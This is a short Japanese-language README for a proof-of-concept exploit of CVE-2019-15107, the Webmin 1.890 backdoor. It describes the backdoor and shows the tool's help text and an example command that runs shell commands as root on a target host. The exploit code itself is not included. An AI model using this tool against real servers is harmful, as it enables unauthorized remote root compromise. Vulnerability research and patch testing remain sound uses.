
CVE-2019-15107 エクスプロイト
Webmin バージョン 1.890 は、それを知る者なら誰でも root としてコマンドを実行できるバックドア付きでリリースされました。バージョン 1.900 から 1.920 にも同様のコードを使用したバックドアが含まれていましたが、デフォルトの Webmin インストールでは悪用できませんでした。管理者が Webmin -> Webmin Configuration -> Authentication で期限切れパスワードの変更を許可する機能を有効にしていた場合にのみ、攻撃者が使用できました。
このパッケージをインストールするには pip3 が必要です。
$ python3 Webmin_exploit.py --help
usage: Webmin_exploit.py [-h] -host IP [-port Port] [-cmd Command]
Webmin 1.890 expired Remote Root POC
optional arguments:
-h, --help show this help message and exit
-host IP Host to attack
-port Port Port of the host ~ 10000 is Default
-cmd Command Command to execute ~ id is Default
python3 Webmin_exploit.py -host target -port 10000 -cmd id
$ python3 Webmin_exploit.py -host target -port 10000 -cmd id